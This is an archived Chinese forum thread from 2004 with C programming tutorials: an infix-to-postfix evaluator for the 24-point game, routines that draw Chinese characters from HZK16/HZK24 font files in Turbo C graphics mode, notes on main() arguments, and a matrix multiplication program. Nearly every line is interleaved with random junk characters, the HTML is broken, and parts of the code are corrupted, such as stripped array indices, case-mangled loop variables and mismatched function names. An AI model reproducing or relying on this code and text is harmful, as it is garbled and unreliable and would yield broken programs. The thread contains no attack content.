1 ^0 S. F) P! N- W/ {}
; h: V$ a3 O) t+ j0 l% t+ n1 z3 ?return(p);6 _  I2 u: Y4 s9 ]$ w& L1 C5 l
}
6 g5 U2 ^' B  b- [" E/* 此函数实现中缀到后缀的转换 */
1 a( d+ W" o; z7 R/ _/* M的值宏定义为20 */
3 S2 R% k" O: C" S$ X/* sp[]为表达式数组 */
# c1 W3 @  j- w2 t0 p8 @8 {# bint mid_last()4 I2 L# z1 a' Q& C
{ int i=0,j=0; char c,sm[M];) K3 J  V; U* q$ B0 ?
c=s[0]; sm[0]='='; top=0;
% @" g( S; ^$ e' h8 swhile(c!='\0')
  E% A+ l. G) C% b# M+ V{ if(islower(c)) sp[j++]=c;9 T8 @$ {# Y5 X
else switch(c)- _  b( f& D$ ~& H) X
{ case '+':
; z* I/ S0 M2 b2 f" j. Ycase '-':! Q* P% X; i& o$ l$ D, i) B
case '*':4 v% M; b0 g! l
case '/': while(first(c)&lt;=first(sm[top]))
+ `# _0 j% R$ u/ G" O1 nsp[j++]=sm[top--];- {3 r6 E# S/ ?2 @  H, w
sm[++top]=c; break;$ @" x2 |. t3 i: j$ J
case '(': sm[++top]=c; break;, |1 _) T; H  x( X1 C) ?
case ')': while(sm[top]!='(')
4 \$ T5 f9 [  Osp[j++]=sm[top--];
4 V3 L( `% H) m5 ntop--; break;
  e; [; [2 h" o. L, C  I2 adefault :return(1);
: l% T0 i( k0 ^2 M% |+ T}
9 c7 ~  z/ c8 ?; X) E6 q$ Vc=s[++i];
! V, p) ^  L7 y* i( u}  n! O0 f' d3 ~. S+ W
while(top&gt;0) sp[j++]=sm[top--];
5 p7 ?' q( V/ R4 N1 Qsp[j]='\0'; return(0);
9 J3 K: e8 ~( Y- W" [}
2 P. M2 o1 J2 ]' o6 C% }/* 由后缀表达式来计算表达式的值 */- C- d, A" ]( N* t7 z
int calc()
% W' s8 G/ A8 W4 [1 u+ C{ int i=0,sm[M],tr; char c;# O" Y  T7 x9 V: Z
c=sp[0]; top=-1;2 K$ f: T; Z# G& u, c: Y2 b& J% }, G" D
while(c!='\0')) t. j2 z( v7 N4 N$ w: W" `. u( h
{ if(islower(c)) sm[++top]=ver[c-'a'];/*在转换过程中用abcd等来代替数,
8 X$ P% i/ q4 j4 ?; x+ j这样才可以更方便的处理非一位数,
; D. Z- O. z  K/ U9 uver数组中存放着这些字母所代替的数*/
+ @; U, v; d4 H/ P  Selse switch(c)) c  \' {( x$ s
{ case '+': tr=sm[top--]; sm[top]+=tr; break;' \' y; r3 d9 g1 C
case '-': tr=sm[top--]; sm[top]-=tr; break;
- c6 f* N3 @- \) b- |* w% c) Vcase '*': tr=sm[top--]; sm[top]*=tr; break;
; f2 T0 B7 H" Kcase '/': tr=sm[top--];sm[top]/=tr;break;
9 e- V9 @3 b' S& m: Y0 G: Kdefault : return(1);
) {: y1 M3 }; r0 g$ N# O}  m# g2 d) b1 w3 {: G. i3 Q$ @/ ]
c=sp[++i];  ?! B" y  |* c& x
}
% R5 h8 r4 G2 F8 Pif(top&gt;0) return(1);' W) S- g* o0 ?. y& _
else { result=sm[top]; return(0); }% z  a) H8 l- n6 Y$ Q5 j7 P  l
}
8 m2 ^% I! w5 M# K! J! A</FONT>
5 a9 m# ]9 y% X9 y3 C" T0 A  这样这个程序基本上就算解决了,回过头来拿这个程序来算一算文章开始的那个问题。哈哈,算出来了,原来如此简单——(6-3)*10-6=24。( g; \. g6 B2 U/ h0 h
1 ^/ x& U, S* \# n2 S; t; V) n0 [
  最后我总结了一下这其中容易出错的地方——/ y, `4 C. j' [

! }4 O% S6 z- {4 \# M, [  1、 排列的时候由于一个数只能出现一次, 所以必然有一个判断语句。但是用什么来判断,用大小显然不行,因为有可能这四个数中有两个或者以上的数是相同的。我的方法是给每一个数设置一个代号,在排列结束时,通过这个代号找到这个数。
- q6 z. Q' h, E" H; i5 u% l
  t( [0 D7 Q9 P' ~* v8 @  2、在应用嵌套函数时,需仔细分析程序的执行过程,并对个别变量进行适当的调整(如j的值),程序才能正确的执行。
# M* d' x# w- K) l1 n8 E0 v  E$ s+ ^4 J4 O, A. m4 G5 |" s
  3、在分析括号问题的时候要认真仔细,不要错过任何一个可能的机会,也要尽量使程序变得简单一些。不过我的分析可能也有问题,还请高手指点。
) r1 P$ p5 N9 t& \$ F$ u, }! j: l+ |) P0 U9 N: q$ t
  4、在用函数对一个数组进行处理的时候,一定要注意如果这个数组还需要再应用,就必须将它先保存起来,否则会出错,而且是很严重的错误。6 R0 [; e) X. o

- W1 X  P% N, ~" D$ q  5、在处理用户输入的表达式时,由于一个十位数或者更高位数是被分解成各位数存放在数组中,所以需对它们进行处理,将它们转化成实际的整型变量。另外,在转化过程中,用一个字母来代替这个数,并将这个数存在一个数组中,且它在数组中的位置和代替它的这个字母有一定的联系,这样才能取回这个数。
' @( I4 E- ]# i2 W" V( }3 ]( I  Y3 f- U! s5 F- o
  6、由于在穷举过程难免会出现计算过程中有除以0的计算,所以我们必须对calc函数种对于除的运算加以处理,否则程序会因为出错而退出(Divide by 0)。! \( m  j6 b: i( Z+ j

- f+ d$ u; y1 ?& O4 z8 \+ H/ E  7、最后一个问题,本程序尚未解决。对于一些比较著名的题目,本程序无法解答。比如说5、5、5、1或者8、8、3、3。这是由于这些题目在计算的过程用到了小数,而本程序并没有考虑到小数。" \3 C+ L  H& a( w4 ^; I
</P>
作者: 韩冰    时间: 2004-10-4 02:41
< align=center><FONT color=#cc0000 size=5><B>
6 K8 v, q! d/ `7 H1 N图形模式下的汉字显示</B></FONT></P><> </P><> 我们在编写一些应用软件时,为了使软件更为通俗浅显、易学易用,具备汉字的用户界面是必不可少的条件。在文本模式下,只要有汉字操作系统的支持,显示汉字是不成问题的。只要用printf或cprintf就可以了。#include <STDIO.H>void main(){printf("我正在学习C语言!");}
5 o! U, h* O- V. S  在图形模式下显示汉字就稍稍麻烦些。可幸的是有很多人从事这一问题的研究,并开发了一些用于汉字显示的函数。这些函数不需要汉字系统的支持,但用到其中的字库文件。如UCDOS的HZK16。* U8 C$ F4 k+ t2 Z+ N
  汉字显示的第一步是打开字库文件。
8 [( e9 c" m# U  f8 [  函数: int OpenHz(const char *Hz16Path); 功能:打开字库文件Hz16Pathint handle; /*打开的字库文件指针*/int OpenHz(const char *Hz16Path){return (handle=open(Hz16Path,O_RDONLY|O_BINARY));} 打开字库文件后,就可以用下面介绍的函数显示16点阵的汉字。
& x& v& T: _6 F( U/ `$ X6 }( s4 a  函数: int WrtHz16(int x,int y,int z,int color,char *p); 功能:在(x,y)用color颜色显示汉字串p,汉字之间的空格数为z。intWrtHz16(int x, int y,int z,int color,char *p)$ y! m9 a' z* X/ h
{, ~# t% i6 u, s: O/ P1 R3 b
unsigned int i,c1,c2,f=0; /*x,y:write at (x,y);*/1 g& i6 [' S' O* b
int rec,i1,i2,i3; /*z:space between;*/
1 j* D0 q  N7 ^$ `' [# Clong l; /*color:txt color*/
4 \5 e0 M$ q- f& G/ v3 r" i5 `' Jchar by[32]; /*p:HZ str*/
) w/ i. X2 t5 ^- s; Iif( handle&lt;0 ) return -1; while((i=*p++)!=0){) ]/ G+ S$ Q6 S
if(i&gt;0xa1)
. b3 x+ C" p0 e2 I7 `9 Fif(f==0){
% }* o- c4 ?4 g4 R9 D8 Oc1=(i-0xa1)&amp;0x07f;
& v$ C4 m9 e/ b4 O. S% J# Uf=1;/ z' i7 v0 q/ d! O4 Y& O8 a" U% S
}# C( C$ d2 w, w0 e
else{
; n% L8 N4 N' e! |1 bc2=(i-0xa1)&amp;0x07f;
/ p2 ]/ i" {+ b1 V, V# ]% Xf=0;" x5 \  u3 |: {( Y
rec=c1*94+c2;8 x2 M; }, b; {
l=rec*32L;
  P8 R( O) z& K& T8 i" ]lseek(handle,l,SEEK_SET);# T! D+ C) q, q. H# N: R
read(handle,by,32);
8 _+ r) x: \6 @0 Mfor(i1=0;i1&lt;16;i1++)
$ H9 z5 A2 {* E' `for(i2=0;i2&lt;2;i2++)
$ K+ U/ n( V+ ?6 @* K+ zfor(i3=0;i3&lt;8;i3++)7 l' k- |& b; q/ W5 f' ?6 E
if(GetBit(by[i1*2+i2],7-i3))( ~& K. C( z2 k9 H0 ~2 Q
putpixel(x+i2*8+i3,y+i1,color);
6 @2 Z, Q  ?) H$ F9 Cx=x+z+16;& P  _8 f7 g. j# Z# s1 S
}' \1 |  o; u  o) R7 o0 u
}2 l' s" S5 Z' _' ^
return(x);, \; D' n1 x7 R/ y) `4 j
}
2 T/ {) x- @1 R  j函数GetBit定义如下:
, s: _' S4 U; Y9 t. G7 |  函数: int GetBit(unsigned char c,int n); 功能:取得汉字的点阵数据。
$ M, e$ h9 J0 Q( e" Eint GetBit(unsigned char c,int n)$ z8 f9 C* w8 u# y  P( Q. m
{
4 ?" [# R% F. A. f: \  ~! Oreturn((c&gt;&gt;n)&amp;1);+ T  V$ y) W3 @) t2 U
}% ~3 }' y- e% b# w1 x4 {- t
汉字显示结束,应该关闭字库文件。
1 E+ A( I9 e6 p1 Q3 Wvoid CloseHz(void)" l# u! U' n: }. e  ?, _; O
{' q' p* y; t6 ~) j$ p0 U  i5 D
close( handle );
) ~  T; R/ @7 V/ N8 e6 `}
0 ^- `; G* X+ F6 u% C#include "\Caic\Include\Hz.h"
* C% W: z* |7 I6 v7 \; _+ E2 S  e#include <GRAPHICS.H>
+ S- [2 n5 W9 Y#include <CONIO.H>const char* Hz16Path = "\\UCDOS\\Hzk16.";- o. ?* ~$ Y# k. |
const char* HzStr = "苦丁香C语言辅助学习软件";3 i6 Y3 B& w* r  F2 l
void main(){
+ P$ ]0 R# [/ U9 M5 h, T' ?, b' F! zint gr=DETECT,gm;
* F: t5 E- f1 G; N5 V! l2 Uinitgraph(&amp;gr,&amp;gm,"\\Caic\\Bgi");
' S1 Y8 [. p+ S/ Z9 W5 R1 JOpenHz( Hz16Path );! g* J: M' y' I' R" e5 @" ~4 ^' W" O
Wrt16Hz(20,20,4,RED,HzStr);$ V. g* e3 J% h5 i% R
CloseHz();
4 h( o7 p3 h* H9 w" v9 Kgetch();, J3 u4 R' H9 D4 _8 `
closegraph();7 P6 }1 `' v* F, e+ n
}显示24点阵及放大汉字/ N- E7 s+ l/ O% z2 r. N
  下面探讨一下如何显示24点阵及放大汉字。24点阵字库也可在任意一种汉字系统中找到。如UCDOS的HZK24S。
5 [, B6 Y& e" P函数: int WrtHz24(int x,int y,int z,int color,int m,\int n,char *p); 功能:显示24点阵及放大汉字。: G) Q9 ^: d$ `9 d
int WrtHz24(int x,int y,int z,int color,int m,int n,char *p)
8 }6 n9 b8 g. @1 S2 o5 y{
0 \# R' o1 k' n# _, G: H  |; Gunsigned int i,c1,c2,f=0; /*z: 汉字字符间的空格*/
. J, p) z( O, d! Q) T* w$ aint i1,i2,i3,i4,i5,rec; /*x,y: 先是位置(x,y)*/
! l0 s/ e: ~" |3 V" }/ d' _long l; /*color:汉字颜色*/
; K/ @1 x4 d" q# s* k- y( ?: E; v& E) k* echar by[72]; /*m: x 方向的放大倍数*/! n  F# B" j. u7 ]% ]3 V
/*n: y 方向的放大倍数*/( U6 R$ c8 H7 j5 Q2 @) G
if( handle&lt;0 ) return -1; /*p: 显示汉字串*/ while((i=*p++)!=0){
* W8 w, A1 F; b" m9 y% V8 zif(i&gt;0xa1)0 P7 l" ^; H8 b
if(f==0){
* H7 T; D2 v0 d7 L6 `8 N+ w! Ec1=(i-0xa1)&amp;0x7f;" Z- U8 G; M0 z8 b& i1 G
f=1;
. W; @0 n1 L. h& D4 _6 ^}
8 Y% S3 y" A$ x- {. ielse{# W/ B4 W  S6 b( f4 ]5 C0 g1 X
c2=(i-0xa1)&amp;0x7f;9 N+ ^, [3 M8 b' B
f=0;
6 @! Y8 Y# A# r/ P" Irec=(c1-15)*94+c2;! Z6 Z+ F0 X0 F3 G
l=rec*72L;
' ?! L, {5 o: {+ t* zlseek(handle,l,SEEK_SET);( O3 \  ^$ u5 A2 H# A3 Y3 n- o7 I
read(handle,by,72);+ I) {1 D, w3 a
for(i1=0;i1&lt;24*m;i1=i1+m)
2 x( `% g: M4 R6 d2 B1 ^9 ]9 qfor(i4=0;i4<M;I4++)0 h0 n" C1 j3 o& a, m$ f
for(i2=0;i2&lt;=2;i2++)
  U/ o( ]9 u% Ffor(i3=0;i3&lt;8;i3++)1 v+ x. o& r9 {3 a
if(GetBit(by[i1/m*3+i2],7-i3))* f; h, Q2 W- N( N. C8 C
for(i5=0;i5<N;I5++)' P6 ?; [; J6 H# h
putpixel(x+i1+i4,y+i2*8*n+i3*n+i5,color);
; U9 t4 {7 q( T: B" u! H/ f1 zx=x+24*m+z;
/ x( P: n) i; d+ P}
( j/ K: V9 Z. E5 y+ t}
$ r. o  f; ?$ dreturn(x);
. p' z7 u- L. ?6 ^} 使用Wrt24Hz的例子:#include "\Caic\Include\Hz.h"/ Q5 }4 Q/ n4 c" L9 z' [8 f
#include <GRAPHICS.H>" w/ r  W, Q( r3 B: _
#include <CONIO.H>const char* Hz24Path = "C:\\Ucdos\\fnt\\hzk24s."7 _; u' O! L  B9 o9 F8 a
const char* HzStr = "苦丁香C语言辅助学习软件";
# w. ~2 W  `2 }( G1 tvoid main(){
2 E$ G" ^/ g$ {' l- ]: }* W$ w5 eint gr=DETECT,gm;" F; w& n+ T9 E
initgraph(&amp;gr,gm,"\\Caic\\Bgi");, L  A% u: U1 X. z9 V! V* y. e) u4 g8 g8 X
OpenHz( Hz24Path );; Z5 \  e  e3 e$ ]% I0 m; S$ h7 }7 l
Wrt24Hz(20,20, /*先是在(x,y)*/) H2 W" `/ O6 T  \9 M5 s. ~: x- @$ j
4, /*汉字间的空格为4*/
- p7 a% T+ @* A4 c, b# ^% k) a+ ~4 uRED, /*用红色显示*/' @0 s6 P, \  ~& w% \0 l
2, /*x 方向放大2倍*/0 \7 p% F: T) b% I3 P& D$ }
4, /*y 方向放大4倍*/
8 w( m9 Y4 h9 j' A- _4 J% B) c, xHzStr); /*显示字符串*/
8 l/ c3 ]# T7 D. G) Q2 nCloseHz();  _5 m# w5 D3 v+ J( [  T/ p( B- n3 i
getch();$ L! [- H9 q8 T: n* S
closegraph();
& E0 [  ?  S- o/ T. `}
! m. M9 o% z" J; W% R9 i$ @</P>
作者: 韩冰    时间: 2004-10-4 02:41
<>  再谈main()主函数
- J( A! H" a% g5 O  每一C 程序都必须有一main()函数,可以根据自己的爱好把它放在程序的某个地方。有些程序员把它放在最前面,而另一些程序员把它放在最后面,无论放在哪个地方,以下几点说明都是适合的。) J" ]# n& j9 G% b6 }1 v
1. main() 参数
& _4 a5 F" m  r  在Turbo C2.0启动过程中,传递main()函数三个参数:argc,argv和env。) e" B0 Z. D4 ?6 e( k: w6 D/ A  `
  * argc: 整数,为传给main()的命令行参数个数。/ Z' D6 C, t% e
  * argv: 字符串数组。
' N1 c' n! s. h% k; s0 c在DOS 3.X 版本中,argv[0] 为程序运行的全路径名;
+ [+ Y1 q3 C% P; I' |$ c1 C8 `对DOS 3.0 以下的版本,argv[0]为空串("") 。argv[1] 为在DOS 命令行中执行程序名后的第一个字符串;argv[2] 为执行程序名后的第二个字符串;
% b. Z! i' b+ O, m, A...
9 C( }5 k) Q: vargv[argc]为NULL。3 t% C8 f) A; i- r& r6 ^
  *env: 安符串数组。env[] 的每一个元素都包含ENVVAR=value形式的字符串。其中ENVVAR为环境变量如PATH或87。value 为ENVVAR的对应
1 L- ]' J8 Q6 M7 s+ M; F1 p2 C0 s值如C:\DOS,C:\TURBOC(对于PATH) 或YES(对于87)。</P>
作者: 韩冰    时间: 2004-10-4 02:43
< align=center><FONT color=#cc0000 size=5><B>两个矩阵相乘的源程序</B></FONT></P><>/*****************A=B*C******************// G+ d6 n: I/ U( C- O
#include&lt;stdio.h&gt;
' M: d% X% [2 M3 j#include&lt;conio.h&gt;4 ]3 c* ~0 N4 O- L. n
#define X 3
3 W) N1 r% L5 q0 C  V) F. r#define Y 3</P><>int a[X][Y];6 E1 Q. J! s/ h9 v" r% V: i
int b[X][Y];
: ?; n- W1 u, H  m# k* \9 a2 vint c[X][Y];</P><>void matrix(int b[][X],int c[][Y]);
: q. {3 ~8 S; m' tmain()! Z1 O* Y$ v/ d( I* o! g
{+ G- e. L) U+ h$ A; X% h
int i,j,temp;8 U5 k  F% t% Y" U# @, O1 v" s. p
clrscr();' o, x  {# ^4 Q
printf("lease input int matrix b[%d][%d]\n",X,Y);- V" q* Q( T6 E( z  {2 ^
for(i=0;i&lt;Y;i++)+ K; S- ~9 [2 g8 A0 I7 s
for(j=0;j&lt;Y;j++){: v0 q8 ^8 g8 r+ c5 g7 k6 C
scanf("%d",&amp;temp);
' H4 P7 u' n5 d9 f  D/ K# jb[j]=temp;
+ D$ i: B, H$ r$ w& d+ W6 \- G}7 I3 ^7 r" E2 p( V
printf("lease input int matrix c[%d][%d]\n",X,Y);' q; t1 b9 F6 d* g8 e0 ?, g. t
for(i=0;i&lt;X;i++): U* {, d/ O6 o$ m: k
for(j=0;j&lt;Y;j++){
& Y) o  `1 q2 w; w' q/ m: L0 Wscanf("%d",&amp;temp);
0 g- S. K# ~6 T$ @1 U! Nc[j]=temp;4 L3 l' a2 N2 y, k) Z% F/ f
}
: j* V+ w+ b, e  n* e, M: ematrix(b,c);+ }( P0 [2 Q+ p6 I0 T
printf("Now print resource matrix b[%d][%d]=",X,Y);
0 k: Q2 d( E  a: ffor(i=0;i&lt;X;i++){
/ ]5 a% z& ^) a  i5 K8 ?printf("\n");+ K! N/ E5 }5 m2 I, B: a6 A( w
for(j=0;j&lt;Y;j++)0 s& o' H8 g4 ]4 A
printf("%d ",b[j]);# v+ [; Y, M9 I+ i0 K* R9 ]
}" B# }. k0 ^9 d2 N% ^3 `; @
printf("\n");% K+ i8 ]! y! `" Z3 Q- i% w
printf("Now print resource matrix c[%d][%d]=",X,Y);
/ ?& m5 _( _& ]for(i=0;i&lt;X;i++){
" X  c: _) v0 d  Y2 q! jprintf("\n");# X" r# L! j4 Y  {2 m. D) U- C& l
for(j=0;j&lt;Y;j++)
$ p; m/ ^' ~# ]1 Iprintf("%d ",c[j]);0 J: p/ ^" |5 f6 Z
}7 e2 I& I- @) a# A+ J: B  z/ h. @
printf("\n");
$ u& m; r* z2 Q& z8 eprintf("Now printm multiply results matrix a[%d][%d]=B*C:",X,Y);- d# T- \! m" g: k: c
for(i=0;i&lt;X;i++){6 B1 ~2 x  [) y0 v  D; [9 [8 G
printf("\n");+ U1 X+ r1 m- x
for(j=0;j&lt;Y;j++)
8 ~; W2 p& d" N( a& A! a* K$ Uprintf("%d ",a[j]);
$ {2 i* ^7 s6 U# D1 ^  N9 p8 E}$ R) I! I) j  x& R
getch();
" W, B/ X! n( E' zreturn 0;7 H& ^$ W5 m" M$ O- G+ w6 m
}
' f3 L: D4 q3 z* x5 f/********************************************************************/
" d$ U. W/ @# l, A% P: W. Evoid matrix(int b[][X],int c[][Y])
4 `3 H, B/ {% @. N8 x: W{; h4 E- P+ Y& V# r# G4 n. N
int i,j,k,temp;7 R, \7 t, `6 b2 o- z! j
for(i=0;i&lt;X;i++)
& K5 k/ Z6 W1 c4 z! ?3 Ffor(j=0;j&lt;Y;j++){. J; `9 Z* a. R
for(k=0;k&lt;Y;k++)
8 z& x) @6 }& `2 M/ }a[j]+=b[k]*c[k][j];
' ]# I, V. O! o0 _- o( q}1 @3 s. x; w0 E0 j9 v0 j0 c; D1 Y
}</P>




欢迎光临 数学建模社区-数学中国 (http://www.madio.net/) Powered by Discuz! X2.5